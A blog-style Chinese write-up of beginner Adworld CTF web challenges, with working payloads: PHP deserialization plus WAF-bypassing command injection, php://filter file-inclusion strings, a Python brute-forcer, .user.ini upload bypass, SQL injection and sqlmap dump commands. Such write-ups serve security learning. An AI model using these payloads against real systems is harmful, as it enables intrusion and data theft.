攻防世界Web难度一整合wp

攻防世界Web难度一整合

unseping

  • 接收一个经过 Base64 编码的 POST 参数 ctf
  • 对该参数进行 base64_decodeunserialize(反序列化)。
  • 定义了一个 ease 类,包含:
    • 私有属性 $method$args
    • 构造函数 __construct
    • 析构函数 __destruct
    • 一个危险函数 ping($ip),内部使用 exec() 执行命令
    • 一个 WAF(Web Application Firewall)函数 waf($str),用于过滤危险字符/命令
    • __wakeup() 方法,在反序列化时自动调用,对 $args 中每个参数进行 WAF 过滤

php反序列化题目

<?php
class ease {
    private $method;
    private $args;

    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

// 创建对象
$obj = new ease("ping", array("dir"));

// 序列化
$serialized = serialize($obj);

// Base64编码
$base64 = base64_encode($serialized);

echo "序列化字符串: " . $serialized . "n";
echo "Base64编码: " . $base64 . "n";

// 验证解码
echo "n验证解码:n";
$decoded = base64_decode($base64);
echo "Base64解码后: " . $decoded . "n";

$unserialized = unserialize($decoded);
echo "反序列化对象类型: " . get_class($unserialized) . "n";

// 通过反射访问私有属性
$reflection = new ReflectionClass($unserialized);
$methodProperty = $reflection->getProperty('method');
$methodProperty->setAccessible(true);
$argsProperty = $reflection->getProperty('args');
$argsProperty->setAccessible(true);

echo "Method: " . $methodProperty->getValue($unserialized) . "n";
echo "Args: ";
print_r($argsProperty->getValue($unserialized));
?>
序列化字符串: O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:3:"dir";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJkaXIiO319

获取当前目录

查看flag_1s_hers

  • l''s → 绕过 ls 关键词检测
  • ${IFS} → 绕过空格过滤(shell 会解析为实际空格)
  • f''lag_1s_here → 绕过 flag 关键词检测
<?php
// 定义 ease 类(必须与目标代码结构一致)
class ease {
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

// 构造绕过 WAF 的命令
$command = "l''s${IFS}f''lag_1s_here"; // 注意:${IFS} 需要转义 $

// 创建对象
$obj = new ease("ping", [$command]);

// 生成 payload
$serialized = serialize($obj);
$payload = base64_encode($serialized);

// 输出结果
echo "Serialized object:n";
echo $serialized . "nn";

echo "Base64 payload (for ctf=):n";
echo $payload . "n";
?>
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWYnJ2xhZ18xc19oZXJlIjt9fQ==
  • WAF 检查的是原始字符串,不是 shell 解析后的内容
  • 原始字符串 l''s${IFS}f''lag_1s_here
    • ✅ 无空格字符(只有 ${IFS} 文本)
    • ✅ 无 ls 连续子串(是 l''s
    • ✅ 无 flag 连续子串(是 f''lag_1s_here
    • ✅ 无 / 字符

查看

使用:

  • c''at → 绕过 cat
  • f""lag_1s_here + f''lag_...p''hp → 绕过 flagphp
  • ${IFS} → 绕过空格
  • $(printf "57") → 绕过 /
<?php

class ease {
    private $method;
    private $args;

    // 构造函数(虽然反序列化时不调用,但定义更清晰)
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

// 构造绕过 WAF 的命令
$command = 'c''at${IFS}f""lag_1s_here$(printf${IFS}"57")f''lag_831b69012c67b35f.p''hp';

// 创建对象
$obj = new ease("ping", [$command]);

// 序列化 + Base64 编码
$serialized = serialize($obj);
$payload = base64_encode($serialized);

echo "Serialized object:n";
echo $serialized . "nn";

echo "Base64-encoded payload (use as ctf=...):n";
echo $payload . "n";

?>
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYycnYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZicnbGFnXzgzMWI2OTAxMmM2N2IzNWYucCcnaHAiO319
cyberpeace{81801bc84f9eee657f56075e972eab97}

file_include

漏洞分析

  • 通过GET参数filename动态包含任意文件,且未做任何安全过滤(但实际受check.php影响)。
  • include()会执行PHP代码,若直接包含flag.php,其中的PHP逻辑可能隐藏或销毁Flag。

漏洞点在于include($filename);直接使用了用户可控的$_GET['filename']参数,且未做严格过滤,可通过文件包含漏洞读取服务器上的敏感文件(如check.phpflag相关文件等)。

php://filter 直接用是直接进行了过滤

用转换过滤器

使用string.rot13过滤器 不行

使用convert.iconv.UTF-8.UTF-16:可以

可以发现出东西了,所以用的是这个

测试所有不包含过滤词的编码组合

双重转换尝试

py3

import requests
import time

base_url = "http://61.147.171.105:55432"
encodings = [
    'UCS-4', 'UCS-4LE', 'UCS-2', 'UCS-2LE',
    'UTF-8', 'UTF-16', 'UTF-16LE', 'UTF-32', 'UTF-32LE',
    'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4',
    'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8',
    'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13',
    'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
    'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254',
    'CP1255', 'CP1256', 'CP1257', 'CP1258',
    'ASCII', 'US-ASCII', 'KOI8-R', 'KOI8-U'
]

paths = ["flag.php", "./flag.php", "/flag.php", "../flag.php", "../../flag.php", "../../../flag.php"]

encoding_map = {
    'UCS-4': 'utf-32',
    'UCS-4LE': 'utf-32le',
    'UCS-2': 'utf-16',
    'UCS-2LE': 'utf-16le',
    'UTF-8': 'utf-8',
    'UTF-16': 'utf-16',
    'UTF-16LE': 'utf-16le',
    'UTF-32': 'utf-32',
    'UTF-32LE': 'utf-32le',
    'ISO-8859-1': 'iso-8859-1',
    'ISO-8859-2': 'iso-8859-2',
    'ISO-8859-3': 'iso-8859-3',
    'ISO-8859-4': 'iso-8859-4',
    'ISO-8859-5': 'iso-8859-5',
    'ISO-8859-6': 'iso-8859-6',
    'ISO-8859-7': 'iso-8859-7',
    'ISO-8859-8': 'iso-8859-8',
    'ISO-8859-9': 'iso-8859-9',
    'ISO-8859-10': 'iso-8859-10',
    'ISO-8859-11': 'iso-8859-11',
    'ISO-8859-13': 'iso-8859-13',
    'ISO-8859-14': 'iso-8859-14',
    'ISO-8859-15': 'iso-8859-15',
    'ISO-8859-16': 'iso-8859-16',
    'CP1250': 'cp1250',
    'CP1251': 'cp1251',
    'CP1252': 'cp1252',
    'CP1253': 'cp1253',
    'CP1254': 'cp1254',
    'CP1255': 'cp1255',
    'CP1256': 'cp1256',
    'CP1257': 'cp1257',
    'CP1258': 'cp1258',
    'ASCII': 'ascii',
    'US-ASCII': 'ascii',
    'KOI8-R': 'koi8_r',
    'KOI8-U': 'koi8_u',
}

def get_encoding_for_python(enc):
    return encoding_map.get(enc, enc)

def test_payload(payload):
    try:
        response = requests.get(f"{base_url}?filename={payload}", timeout=5)
        if response.status_code == 200:
            return response.content
    except:
        pass
    return None

def search_flag(content, dst):
    try:
        python_enc = get_encoding_for_python(dst)
        target_bytes = b"cyberpeace"
        if dst in ['UTF-16', 'UTF-16LE']:
            target_bytes = b"cx00yx00bx00ex00rx00px00ex00ax00cx00ex00"
        elif dst in ['UCS-2', 'UCS-2LE']:
            target_bytes = b"cx00yx00bx00ex00rx00px00ex00ax00cx00ex00"
        elif dst in ['UCS-4', 'UCS-4LE']:
            target_bytes = b"cx00x00x00yx00x00x00bx00x00x00ex00x00x00rx00x00x00px00x00x00ex00x00x00ax00x00x00cx00x00x00ex00x00x00"
        return target_bytes in content
    except:
        return False

found = False
print("Starting brute force attack...")
print("=" * 60)

for path in paths:
    if found:
        break
    for src in encodings:
        if found:
            break
        for dst in encodings:
            if src == dst:
                continue
            if any(word in src.upper() for word in ['BE']) or any(word in dst.upper() for word in ['BE']):
                continue

            payload = f"php://filter/convert.iconv.{src}.{dst}/resource={path}"
            print(f"Testing: {payload}")

            content = test_payload(payload)
            if content is None or len(content) == 0:
                continue

            if search_flag(content, dst):
                print(f"nSUCCESS! Found flag with payload: {payload}")
                print("-" * 60)
                try:
                    python_enc = get_encoding_for_python(dst)
                    decoded = content.decode(python_enc, errors='ignore')
                    print(f"Decoded content:n{decoded}")
                    if 'cyberpeace{' in decoded:
                        start = decoded.find('cyberpeace{')
                        end = decoded.find('}', start)
                        if end != -1:
                            flag = decoded[start:end+1]
                            print(f"nFlag found: {flag}")
                    else:
                        print(f"Raw content (hex): {content[:200].hex()}")
                except:
                    print(f"Raw content (first 500 bytes): {content[:500]}")
                found = True
                break

            time.sleep(0.03)

if not found:
    print("nTrying double conversion filters...")
    print("=" * 60)

    for path in paths:
        if found:
            break
        for enc1 in encodings:
            if found:
                break
            for enc2 in encodings:
                if enc1 == enc2 or enc1 == 'UTF-8' or enc2 == 'UTF-8':
                    continue
                if any(word in enc1.upper() for word in ['BE']) or any(word in enc2.upper() for word in ['BE']):
                    continue

                payload = f"php://filter/convert.iconv.UTF-8.{enc1}|convert.iconv.{enc1}.{enc2}|convert.iconv.{enc2}.UTF-8/resource={path}"
                print(f"Testing: {payload}")

                content = test_payload(payload)
                if content is None or len(content) == 0:
                    continue

                if b'cyberpeace' in content:
                    print(f"nSUCCESS! Found flag with payload: {payload}")
                    print("-" * 60)
                    try:
                        decoded = content.decode('utf-8', errors='ignore')
                        print(f"Decoded content:n{decoded}")
                        if 'cyberpeace{' in decoded:
                            start = decoded.find('cyberpeace{')
                            end = decoded.find('}', start)
                            if end != -1:
                                flag = decoded[start:end+1]
                                print(f"nFlag found: {flag}")
                    except:
                        print(f"Raw content: {content[:500]}")
                    found = True
                    break

                time.sleep(0.03)

if not found:
    print("nTrying specific known payloads...")
    print("=" * 60)

    specific_payloads = [
        "php://filter/convert.iconv.UCS-4.UCS-4LE/resource=flag.php",
        "php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php",
        "php://filter/convert.iconv.UCS-2.UCS-2LE/resource=flag.php",
        "php://filter/convert.iconv.UTF-8.ISO-8859-1/resource=flag.php",
        "php://filter/convert.iconv.UTF-8.UTF-32LE/resource=flag.php",
        "php://filter/convert.iconv.ISO-8859-1.UTF-8/resource=flag.php",
        "php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php",
        "php://filter/convert.iconv.UTF-8.UCS-4/resource=flag.php",
    ]

    for payload in specific_payloads:
        print(f"Testing: {payload}")
        content = test_payload(payload)
        if content and len(content) > 0:
            if b'cyberpeace' in content or b'cyberpeace{' in content:
                print(f"nSUCCESS! Found flag with payload: {payload}")
                print("-" * 60)
                print(f"Raw content: {content[:500]}")

                try:
                    if 'UCS-4LE' in payload:
                        decoded_bytes = b''
                        for i in range(0, len(content), 4):
                            if i + 4 <= len(content):
                                chunk = content[i:i+4]
                                decoded_bytes += chunk[::-1]
                        try:
                            decoded = decoded_bytes.decode('utf-32le', errors='ignore')
                            print(f"Decoded UCS-4LE: {decoded}")
                        except:
                            pass
                    elif 'UTF-16LE' in payload:
                        decoded = content.decode('utf-16le', errors='ignore')
                        print(f"Decoded UTF-16LE: {decoded}")
                    elif 'UCS-2LE' in payload:
                        decoded = content.decode('utf-16le', errors='ignore')
                        print(f"Decoded UCS-2LE: {decoded}")
                    else:
                        decoded = content.decode('utf-8', errors='ignore')
                        print(f"Decoded: {decoded}")
                except:
                    pass

                found = True
                break
            else:
                try:
                    decoded = content.decode('utf-8', errors='ignore')
                    if 'cyberpeace' in decoded:
                        print(f"nFound cyberpeace in decoded text: {decoded[:200]}")
                        found = True
                        break
                except:
                    pass
        time.sleep(0.03)

if not found:
    print("nFlag not found with brute force.")
    print("Trying direct file inclusion...")
    print("=" * 60)

    for path in paths:
        print(f"Testing direct: {path}")
        content = test_payload(path)
        if content and len(content) > 0:
            print(f"Response length: {len(content)}")
            if b'cyberpeace' in content:
                print(f"Found cyberpeace in direct inclusion!")
                print(f"Content: {content[:500]}")
                found = True
                break
        time.sleep(0.03)

print("n" + "=" * 60)
print("Brute force attack completed.")

发现正确的payload

cyberpeace{49497801489bc5f0b68fc832e22ddc08}

easyphp

<?php
highlight_file(__FILE__); // 显示当前源码
$key1 = 0; // 条件1标记,需置1
$key2 = 0; // 条件2标记,需置1

$a = $_GET['a']; // 接收GET参数a
$b = $_GET['b']; // 接收GET参数b

// 第一组条件:a的验证
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    // 第二组条件:b的验证
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1; // 满足a+b条件,key1置1
    }else{
        die("Emmm...再想想"); // b不满足
    }
}else{
    die("Emmm..."); // a不满足
}

// 第三组条件:c的验证
$c=(array)json_decode(@$_GET['c']); // c需是JSON解析后转数组
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL; // array_search需找到"DGGJ"(非false)
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL; // 所有元素不能严格等于"DGGJ"
        }
        $key2 = 1; // 满足c的所有子条件,key2置1
    }else{
        die("no hack"); // c["n"]格式不满足
    }
}else{
    die("no"); // c或c["m"]不满足
}

// 最终条件:key1和key2均为1
if($key1 && $key2){
    include "Hgfks.php"; // 包含flag文件
    echo "You're right"."n";
    echo $flag; // 输出flag
}
?>

原理就是:构造 GET 参数 abc,满足代码中所有条件,让 $key1$key2 都为 1,最终输出 flag。

破解参数 a

  • a 必须存在;
  • 转成数字要大于 600 万;
  • 字符长度≤3。

PHP 能识别科学计数法,比如 7e6 等价于 7000000(700 万),且 7e6 只有 3 个字符,完美满足所有条件。

最终值:a=7e6

破解参数 b

py3脚本呈现

import hashlib

target_suffix = "8b184b"
# 枚举数字(数字枚举效率最高,CTF题目通常为简单字符)
for i in range(10000000):
    b_str = str(i)
    md5_result = hashlib.md5(b_str.encode()).hexdigest()
    if md5_result[-6:] == target_suffix:
        print(f"找到b的值:{b_str}")
        print(f"MD5完整值:{md5_result}")
        break
b的 MD5 值最后 6 位必须是 8b184b

MD5 是 0e78586068984c25d999c5e08b184b,最后 6 位正好是 8b184b

b=53724

破解参数 c

  1. c 是合法 JSON 字符串,解析后转成数组;
  2. c["m"] 不是纯数字,但数值上大于 2022;
  3. c["n"] 是数组、长度 = 2、第一个元素也是数组;
  4. 能 “找到” DGGJ(松散匹配),但所有元素都不能严格等于 DGGJ。

利用 PHP 的比较特性:字符串 DGGJ 和数字 0 松散相等==),但严格不等===)。

c["m"] 选 9999a:不是纯数字,转数字是 9999(>2022);
c["n"] 选 [["12345"], 0]:
是数组、长度 2、第一个元素是数组(满足格式);
array_search 找 DGGJ 时,会匹配到 0(松散相等),不返回 false;
遍历元素时,["12345"] 和 0 都严格不等于 DGGJ(不触发 die)。
最终值(JSON 格式):c={"m":"9999a","n":[["12345"],0]}
http://61.147.171.105:52908/?a=7e6&b=53724&c={%22m%22:%229999a%22,%22n%22:[[%2212345%22],0]}
cyberpeace{e100bcec9ec33cc4eb21a52a18aedfe8}

fileclude

WRONG WAY! <?php
include("flag.php"); // 包含flag文件,需通过文件包含读取
highlight_file(__FILE__); // 显示当前源码
if(isset($_GET["file1"]) && isset($_GET["file2"])) // 必须传GET参数file1、file2
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2)) // 两个参数都不能为空
    {
        if(file_get_contents($file2) === "hello ctf") // file2读取内容必须严格等于"hello ctf"
        {
            include($file1); // 满足条件则包含file1,目标是通过此读取flag.php
        }
    }
    else
        die("NONONO"); // 参数为空则终止
}

要拿到 flag 需满足 2 个核心条件:

  1. file_get_contents($file2) === "hello ctf":利用 PHP伪协议构造file2,让file_get_contents读取到指定字符串;

  2. include($file1):利用 PHP文件包含伪协议构造file1,读取flag.php的内容(避免直接解析 PHP 代码,需编码输出)。


    1:构造file2(满足内容等于 “hello ctf”)


file_get_contents支持data://伪协议(数据流协议),可直接构造包含指定内容的数据流:

  • 格式:data://text/plain,hello ctf(注意空格需 URL 编码为%20);

  • 原理:file_get_contents("data://text/plain,hello ctf") 会直接返回字符串hello ctf,满足严格等于条件。


    2:构造file1(读取 flag.php)


利用php://filter伪协议读取flag.php(PHP 文件直接 include 会解析代码,需 base64 编码输出内容):

  • 格式:php://filter/read=convert.base64-encode/resource=flag.php
  • 原理:该伪协议会读取flag.php的原始内容并 base64 编码,避免 PHP 解析,直接输出编码后的内容,解码后即可得到 flag。

完整 Payload

http://61.147.171.103:53569/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

base解码

cyberpeace{b96ef8b46aa3c4652c5fc3ab55df0bf1}

fileinclude

访问index.php

发现页面没有东西curl 或者抓包看看

可以发现源码

<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<br />
<b>Notice</b>:  Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
    @setcookie("language","english");
    @include("english.php");
}
else
{
    @include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>

漏洞核心

@include($lan.".php") 中,$lan 来自 Cookie 的language参数,且会拼接.php后缀。利用 PHP 伪协议php://filter可读取flag.php的原始内容,无需截断(拼接后恰好是flag.php)。

伪协议构造:通过php://filter/read=convert.base64-encode/resource=flag构造language的 Cookie 值,拼接后为php://filter/.../resource=flag.php,精准读取目标文件;

用curl命令 构造Payload

curl -v -H "Cookie: language=php://filter/read=convert.base64-encode/resource=flag" http://61.147.171.35:54585/
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2E2NzJkZDNiYTM3ODk1OGYzMDYxYTg0ZWJhODE1YjYxfSI7DQo/Pg==

解码

cyberpeace{a672dd3ba378958f3061a84eba815b61}

easyupload

是一个文件上传的题目

上传php被过滤 修改后缀名字被过滤,上传图片也不行,gif什么的也不行 头像是index.php可以解析php

发现可以通过.user.ini让他解析php的内容。

作用:特定于用户或特定目录的配置文件,通常位于·Web·应用程序的根目录下。它用于覆盖或追加全局配置文件(如·php.ini)中的·PHP.配置选项。

作用范围:存放该文件的目录以及其子目录

优先级:较高,可以覆盖 php.ini

生效方式:立即生效

创建.user.ini

写入

GIF89a
auto_prepend_file=sanjiu.jpg

auto_prepend_file可以让所有的php文件自动的包含某个文件

先上传.user.ini burp抓包

修改coontent-type为图片格式

image/jpg

上传成功

图片内容

上传图片

上传成功

地址是/uploads/index.php

cyberpeace{8b07ba4213ab9de1979dd13be0bb0c12}

inget

方法一

SQL注入题目万能密码直接出来

/?id=' or 1=1 -- +

方法二

知道注入点了

直接SQLmap

http://61.147.171.35:50586/?id=1

检测 SQL 注入点

sqlmap -u "http://61.147.171.35:50586/?id=1" --batch

爆破所有数据库名

sqlmap -u "http://61.147.171.35:50586/?id=1" --dbs --batch

cyber就是我们这个库名字

cyber库的所有表名

sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber --tables --batch --threads 5

爆cyber表的所有字段

查看cyber表里面的内容

sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber -T cyber --dump --batch --threads 5

一步到位(直接 dump 目标库所有内容)

sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber --dump-all --batch --threads 5
cyberpeace{f59c5eac45f4b644cda86d200863a07d}

robots

robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

访问robots.txt

访问f1ag_1s_h3re.php

cyberpeace{db690b485afed879cd99db3da0d56016}

get_post

get是从服务器上获取数据,post是向服务器传送数据

http://61.147.171.35:55998/?a=1

Get提交就行

cyberpeace{fa8b4fcea7ad1cc16973cadea4dbf01f}

disabled_button

disabled 本质是标记元素为「禁用状态」:

  • 元素无法响应用户操作(点击、输入、选中、获取焦点等);
  • 浏览器会默认给禁用元素渲染「不可交互样式」(比如变灰、降低透明度);
  • 表单元素(如 input、select)禁用后,提交表单时不会携带其值。

就是直接禁用 直接把这个删除就行

cyberpeace{6370c63e7750751f1e87b5b69b091794}

cookie

Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息 。
   Cookie就是一些数据,用于存储服务器返回给客服端的信息,客户端进行保存。在下一次访问该网站时,客户端会将保存的cookie一同发给服务器,服务器再利用cookie进行一些操作。利用cookie我们就可以实现自动登录,保存游览历史,身份验证等功能。

f12 查看cookie

发现cookie.php访问一下

看响应包

f12可以看

或者burp抓包

cyberpeace{b56a1f9d2c2d0b8483ac31b68ed27724}

backup

就是一个备份文件

常见的备份文件后缀


常见的网站源码备份文件后缀 bak


old


tar


tar.gz


zip


rar


……


常见的网站源码备份文件名


web


website


backup


back


www


wwwroot


temp


……


index.php 文件的备份文件名通常会有一些常见的后缀,如 .bak.old.backup 等。

    访问一个一个试试就行

    http://61.147.171.105:54139/index.php.bak

    访问这个就行

    直接下载

    扫描目录也行就可以看到

    备份文件

    Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

    ics-06

    只有报表中心可以访问

    我们发现URL栏有id字样说明我们可以修改id查看内容

    修改id发现没有报错说明就是修改id字段 burp爆破

    id=2333爆出

    cyberpeace{77f051e7121c88862bcb7e7fe7d1099c}

    PHP2

    页面什么也没有直接扫描

    页面存在index.php和index.phps访问

    发现还是什么也没有

    加一个s就可以发现源码

    什么是phps文件?
    phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

    分析

    PHP 接收 GET 参数时,会自动对参数做一次 URL 解码;
    代码中又手动调用 urldecode() 做了第二次 URL 解码,形成「二次 URL 解码漏洞」;
    第一段是「严格等于(===)」,第二段是「松散等于(==)」,只要绕过第一段严格判断,同时让第二段解码后等于 admin 即可拿到 Flag。

    admin 每个字符的一次 URL 编码:

    • a%61d%64m%6Di%69n%6E
    • 完整一次编码:%61%64%6D%69%6E

    然后对整个 admin 二次编码:

    ?id=%2561%2564%256D%2569%256E
    http://61.147.171.105:61342/index.php?id=%2561%2564%256D%2569%256E
    cyberpeace{6cea349f70d33a6c15495db0ff62c28d}

    Training-WWW-Robots

    访问robots.txt

    发现fl0g.php 访问

    cyberpeace{7b662f02b06344f6d5b7e67c2b8fd7d2}

    unserialize3

    class xctf{
        public $flag = '111';  // 实际环境中为真实 Flag,此处仅为示例
        public function __wakeup(){
            exit('bad requests');  // 触发该魔术方法则直接退出,无法获取 Flag
        }
    }
    //接收 code 参数并反序列化,如 unserialize($_GET['code'])

    反序列化题目

    __wakeup():反序列化对象时会自动触发该方法,本题中触发则直接 exit,必须绕过;
    构造绕过 __wakeup() 的序列化字符串,通过 code 参数传入,反序列化后获取 flag 属性值

    先编写 PHP 代码生成 xctf 类的正常序列化字符串:

    <?php
    class xctf{
        public $flag = '111';
        public function __wakeup(){
            exit('bad requests');
        }
    }
    $obj = new xctf();
    echo serialize($obj);  // 输出正常序列化结果
    ?>

    绕过 __wakeup () 的修改

    将「声明的属性个数」从 1 改为 大于 1 的任意数(如 2),修改后的序列化字符串:

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}

    Payload

    code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    http://61.147.171.105:55590/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    cyberpeace{70090dbaab785cd191fd9c1c29b791c2}

    view_source

    直接F12或者CTRL+U

    cyberpeace{dda5176a117a894c93b23b208c9e5dc7}

    weak_auth

    我就随便输入弱密码就进入了

    admin/123456

    直接弱密码字典爆破也行

    演示一遍

    直接就出来了

    cyberpeace{b5ae1e58111fb99892a90cb432f35cea

    simple_php

    构造 ab 参数,同时满足 flag1flag2 的输出条件,拿到完整 Flag

    a 参数构造

    $a==0(松散等于 0);

    $a 为真(非空 / 非纯 0,布尔值 true)。

    绕过关键

    PHP 字符串与数字比较时,仅提取开头数字转成数字。构造「开头为 0,后面带非数字」的字符串,既满足 ==0,又非空为真。

    可用 Payload

    a=0abc/ a=0xyz/ a=0e123

    b 参数构造

    满足:

    避开 is_numeric($b)(不能是纯数字 / 数字字符串);

    $b>1234(转数字后大于 1234)。

    绕过关键

    构造「开头为大于 1234 的数字,后面带非数字」的字符串,既让 is_numeric=false,又满足数值比较条件

    可用Payload

    b=1235abc / b=9999xyz / b=12345@

    随便组合就行

    http://61.147.171.103:58465/?a=0abc&b=1235abc
    Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

    baby_web

    说了初始页面访问 index.php

    发现302重定向了

    burp抓包看

    火狐也行

    发现flag了

    flag{very_baby_web}

    总结

    总体来说前几个难度一,根本就不是难度一的难度,🤯后面的还好

    文末附加内容
    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇